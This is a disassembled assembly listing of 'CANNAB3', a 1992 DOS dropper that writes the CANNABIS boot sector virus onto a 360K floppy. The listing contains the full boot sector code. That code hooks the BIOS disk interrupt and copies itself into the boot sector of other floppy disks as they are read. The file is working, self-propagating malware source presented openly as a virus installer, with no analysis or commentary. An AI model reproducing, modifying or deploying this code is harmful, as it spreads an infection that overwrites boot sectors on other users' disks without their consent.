PAGE  59,132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ			        CANNAB3				         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   6-Jun-92					         ÛÛ
;ÛÛ      Passes:    5	       Analysis Options on: none	         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

data_3e		equ	43Fh
data_14e	equ	5Ch
data_15e	equ	78h
data_23e	equ	7C0Bh			;*
data_24e	equ	7C11h			;*
data_25e	equ	7C13h			;*
data_26e	equ	7C15h			;*
data_27e	equ	7C16h			;*
data_28e	equ	7C18h			;*
data_29e	equ	7C20h			;*
data_30e	equ	7C3Eh			;*
data_31e	equ	7C49h			;*
data_32e	equ	7C50h			;*
data_33e	equ	7DAFh			;*
data_34e	equ	7DB3h			;*
data_35e	equ	7E0Bh			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

cannab3		proc	far

start:
		mov	dx,13Dh
		dec	byte ptr ds:data_14e
		js	loc_3			; Jump if sign=1
		mov	dx,155h
		call	sub_1
		xor	ah,ah			; Zero register
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		and	al,0DFh
		cmp	al,59h			; 'Y'
		jne	loc_ret_4		; Jump if not equal
		mov	dl,0
		mov	ah,0
		int	13h			; Disk  dl=drive a  ah=func 00h
						;  reset disk, al=return status
		jc	loc_2			; Jump if carry Set
		mov	dx,1E6h
		call	sub_1
		mov	cx,1
		mov	bx,offset data_20
		mov	ax,301h
		cwd				; Word to double word
		int	13h			; Disk  dl=drive a  ah=func 03h
						;  write sectors from mem es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		jnc	loc_ret_4		; Jump if carry=0
loc_2:
		mov	dx,offset data_16+0B7h	; ('')

cannab3		endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_1		proc	near
loc_3:
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx

loc_ret_4:
		retn
sub_1		endp

data_16		db	'Usage:  <FILENAME> A:', 0Dh, 0Ah
		db	'$'
		db	'You are about to install a VIRUS'
		db	' on your diskette!!!', 0Dh, 0Ah, 'I'
		db	'nsert a formatted 360K diskette '
		db	'into the drive.', 0Dh, 0Ah, 'Are'
		db	' you sure you want to proceed (y'
		db	'/N)? $'
		db	0Dh, 0Ah, 0Ah, 'Writing...$'
		db	0Dh, 0Ah, 'Error !!!'
		db	7
data_19		db	24h
data_20		db	0EBh
		db	 3Ch, 90h
		db	'CANNABIS'
		db	 00h, 02h, 02h, 01h, 00h, 02h
		db	 70h, 00h
		db	0D0h, 02h,0FDh, 02h, 00h, 09h
		db	 00h, 02h, 00h
		db	34 dup (0)
		db	0FAh,0FCh, 33h,0C0h, 8Eh,0D8h
		db	 8Eh,0D0h,0BCh, 00h, 7Ch,0BBh
		db	 58h, 7Dh,0A1h, 4Ch, 00h, 3Bh
		db	0C3h, 74h, 2Dh,0A3h,0AFh, 7Dh
		db	0A1h, 4Eh, 00h,0A3h,0B1h, 7Dh
		db	0BFh, 00h, 04h, 8Bh, 45h, 13h
		db	 48h, 89h, 45h, 13h,0B1h, 06h
		db	0D3h,0E0h, 2Dh,0C0h, 07h, 8Eh
		db	0C0h,0B9h, 00h, 02h, 8Bh,0F4h
		db	 8Bh,0FCh,0F3h,0A4h, 89h, 1Eh
		db	 4Ch, 00h, 8Ch, 06h, 4Eh, 00h
		db	 33h,0C0h, 16h, 07h
		db	0BBh, 78h, 00h, 36h,0C5h, 37h
		db	 1Eh, 56h, 16h
		db	53h
		db	0BFh, 3Eh, 7Ch,0B9h, 0Bh, 00h
		db	0F3h,0A4h, 06h, 1Fh,0C6h, 45h
		db	0FEh, 0Fh, 8Bh, 0Eh, 18h, 7Ch
		db	 88h, 4Dh,0F9h, 89h, 47h, 02h
		db	0C7h, 07h, 3Eh, 7Ch,0FBh,0CDh
		db	 13h, 72h, 48h, 33h,0C0h, 8Bh
		db	 0Eh, 13h, 7Ch, 89h, 0Eh, 20h
		db	 7Ch,0A1h, 16h, 7Ch,0D1h,0E0h
		db	 40h,0A3h, 50h, 7Ch,0A3h, 49h
		db	 7Ch,0A1h, 11h, 7Ch,0B1h, 04h
		db	0D3h,0E8h, 01h, 06h, 49h, 7Ch
		db	0BBh, 00h, 05h,0A1h, 50h, 7Ch
		db	0E8h, 58h, 00h, 72h, 1Ch, 81h
		db	 3Fh, 49h, 4Fh, 75h, 09h, 81h
		db	 7Fh, 20h, 4Dh, 53h, 74h, 22h
		db	0EBh
		db	0Dh
loc_7:
		cmp	word ptr [bx],4249h
		jne	loc_8			; Jump if not equal
		cmp	word ptr [bx+20h],4249h
		je	loc_9			; Jump if equal
loc_8:
		mov	si,data_34e
		call	sub_3
		xor	ax,ax			; Zero register
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		pop	si
		pop	ds
		pop	word ptr [si]
		pop	word ptr [si+2]
		int	19h			; Bootstrap loader
loc_9:
		mov	bx,700h
		mov	cx,3
		mov	ax,word ptr ds:[7C49h]

locloop_10:
		call	sub_2
		jc	loc_8			; Jump if carry Set
		inc	ax
		add	bx,offset data_19
		loop	locloop_10		; Loop if cx > 0

		mov	ch,byte ptr ds:[7C15h]
		mov	dl,0
		mov	bx,word ptr ds:[7C49h]
		mov	ax,0
;*		jmp	far ptr loc_1		;*
		db	0EAh, 00h, 00h, 70h, 00h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2		proc	near
		push	ax
		push	cx
		div	byte ptr ds:[7C18h]	; al,ah rem = ax/data
		cwd				; Word to double word
		inc	ah
		shr	al,1			; Shift w/zeros fill
		adc	dh,0
		xchg	ah,al
		xchg	ax,cx
		mov	ax,201h
		int	13h			; Disk  dl=drive ?  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		pop	cx
		pop	ax

loc_ret_11:
		retn
sub_2		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_3		proc	near
loc_12:
		lodsb				; String [si] to al
		or	al,al			; Zero ?
		jz	loc_ret_11		; Jump if zero
		mov	ah,0Eh
		mov	bx,7
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		jmp	short loc_12
sub_3		endp

		push	ax
		push	ds
		cmp	ah,2
		jne	loc_14			; Jump if not equal
		test	dx,0FFFEh
		jnz	loc_14			; Jump if not zero
		or	ch,ch			; Zero ?
		jnz	loc_14			; Jump if not zero
		xor	ax,ax			; Zero register
		mov	ds,ax
		test	byte ptr ds:data_3e,1
		jnz	loc_14			; Jump if not zero
		push	cx
		push	bx
		push	di
		push	si
		push	es
		mov	ax,201h
		mov	bx,7E00h
		mov	cl,1
		push	cs
		push	cs
		pop	es
		pop	ds
		pushf				; Push flags
		push	cs
		call	sub_4
		jc	loc_13			; Jump if carry Set
		mov	si,data_35e
		mov	di,data_23e
		mov	cl,33h			; '3'
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	ax,301h
		mov	bx,7C00h
		mov	cl,1
		pushf				; Push flags
		push	cs
		call	sub_4
loc_13:
		pop	es
		pop	si
		pop	di
		pop	bx
		pop	cx
loc_14:
		pop	ds
		pop	ax

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_4		proc	near
		jmp	dword ptr cs:data_33e
		db	0, 0, 0, 0
		db	0Dh, 0Ah, 'Non-System disk or dis'
		db	'k error', 0Dh, 0Ah, 'Replace and'
		db	' press a key when ready', 0Dh, 0Ah
		db	 00h, 00h, 00h, 00h, 00h, 00h
		db	 55h,0AAh
sub_4		endp


seg_a		ends



		end	start